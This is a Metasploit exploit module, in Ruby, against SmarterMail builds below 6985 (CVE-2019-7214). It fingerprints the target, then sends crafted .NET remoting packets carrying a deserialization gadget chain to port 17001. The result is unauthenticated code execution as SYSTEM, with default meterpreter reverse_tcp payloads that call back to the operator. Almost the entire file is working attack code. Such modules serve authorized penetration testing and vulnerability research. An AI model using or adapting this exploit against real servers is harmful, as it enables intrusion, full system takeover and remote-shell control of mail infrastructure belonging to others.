## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'SmarterTools SmarterMail less than build 6985 - .NET Deserialization Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in the SmarterTools SmarterMail software for version numbers <= 16.x or for build numbers < 6985. The vulnerable versions and builds expose three .NET remoting endpoints on port 17001, namely /Servers, /Mail and /Spool. For example, a typical installation of SmarterMail Build 6970 will have the /Servers endpoint exposed to the public at tcp://0.0.0.0:17001/Servers, where serialized .NET commands can be sent through a TCP socket connection. The three endpoints perform deserialization of untrusted data (CVE-2019-7214), allowing an attacker to send arbitrary commands to be deserialized and executed. This module exploits this vulnerability to perform .NET deserialization attacks, allowing remote code execution for any unauthenticated user under the context of the SYSTEM account. Successful exploitation results in full administrative control of the target server under the NT AUTHORITY\SYSTEM account. This vulnerability was patched in Build 6985, where the 17001 port is no longer publicly accessible, although it can be accessible locally at 127.0.0.1:17001. Hence, this would still allow for a privilege escalation vector if the server is compromised as a low-privileged user. }, 'License' => MSF_LICENSE, 'Author' => [ 'Soroush Dalili', # Original discovery and PoC '1F98D', # ExploitDB author 'Ismail E. Dawoodjee' # Metasploit module author ], 'References' => [ [ 'CVE', '2019-7214' ], [ 'EDB', '49216' ], [ 'URL', 'https://research.nccgroup.com/2019/04/16/technical-advisory-multiple-vulnerabilities-in-smartermail/' ] ], 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Targets' => [ [ 'Windows Command', { 'Platform' => 'win', 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64], 'Type' => :win_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/meterpreter/reverse_tcp' } } ], [ 'x86/x64 Windows CmdStager', { 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64], 'Type' => :windows_cmdstager, 'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'vbs' }, 'CmdStagerFlavor' => %w[vbs certutil] } ] ], 'Privileged' => false, 'DisclosureDate' => '2019-04-17', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ Opt::RPORT(9998, true, 'SmarterMail default HTTP port'), OptString.new('TARGETURI', [true, 'Base path', '/']), OptInt.new('TCP_PORT', [true, 'SmarterMail default .NET remoting port', 17001]), OptString.new( 'ENDPOINT', [ true, 'Choose one of three exposed endpoints: Servers, Spool, and Mail. Example - tcp://127.0.0.1:17001/Servers', 'Servers' ] ) ] ) end def check print_status('Checking target web server for a response...') res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) }) if res body = res.body else return CheckCode::Unknown('Target did not respond to check request.') end unless res.code == 200 && body.downcase.include?('smartermail') return CheckCode::Unknown('Target is not running SmarterMail.') end print_good('Target is running SmarterMail.') print_status('Checking SmarterMail product build...') product_build = body.match('stProductBuild.*\s\(') build_number = product_build.to_s.scan(/\d+/)[0] if product_build if product_build print_good("Target is running SmarterMail Build #{build_number}.") else print_warning('Product build not found. 16.x versions and below do not have a build number.') end if product_build && Rex::Version.new(build_number) < Rex::Version.new('6985') return CheckCode::Appears end print_status('Checking SmarterMail product version...') product_version = body.match('stProductVersion.*') version_number = product_version.to_s.split('"')[1] if product_version unless product_version return CheckCode::Detected('SmarterMail product version cannot be determined.') end print_good("Target is running SmarterMail Version #{version_number}.") if Rex::Version.new(version_number) <= Rex::Version.new('16.3.6989.16341') return CheckCode::Appears end return CheckCode::Safe end def execute_command(cmd, _opts = {}) uri = "tcp://#{datastore['RHOST']}:#{datastore['TCP_PORT']}/#{datastore['ENDPOINT']}" serialized = ::Msf::Util::DotNetDeserialization.generate( cmd, gadget_chain: :TypeConfuseDelegate, formatter: :BinaryFormatter ) preamble = '.NET'.unpack('C*') # Header preamble += [0x01] # Version Major preamble += [0x00] # Version Minor preamble += [0x00, 0x00] # Operation Type preamble += [0x00, 0x00] # Content Distribution preamble += [serialized.length].pack('I').unpack('C*') # Serialized Data Length preamble += [0x04, 0x00] # URI Header preamble += [0x01] # Data Type preamble += [0x01] # Encoding - UTF8 preamble += [uri.length].pack('I').unpack('C*') # URI Length preamble += uri.unpack('C*') # URI preamble += [0x00, 0x00] # Terminating Header data = preamble + serialized.unpack('C*') # Data to Send final_payload = data.pack('C*') begin sock = Rex::Socket::Tcp.create( 'PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['TCP_PORT'], 'Proxies' => datastore['Proxies'], 'Context' => { 'Msf' => framework, 'MsfExploit' => self } ) sock.write(final_payload) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e print_error("Failed: #{e.class} - #{e.message}") elog(e) ensure sock.close if sock end end def exploit case target['Type'] when :win_cmd execute_command(payload.encoded) when :windows_cmdstager execute_cmdstager end end end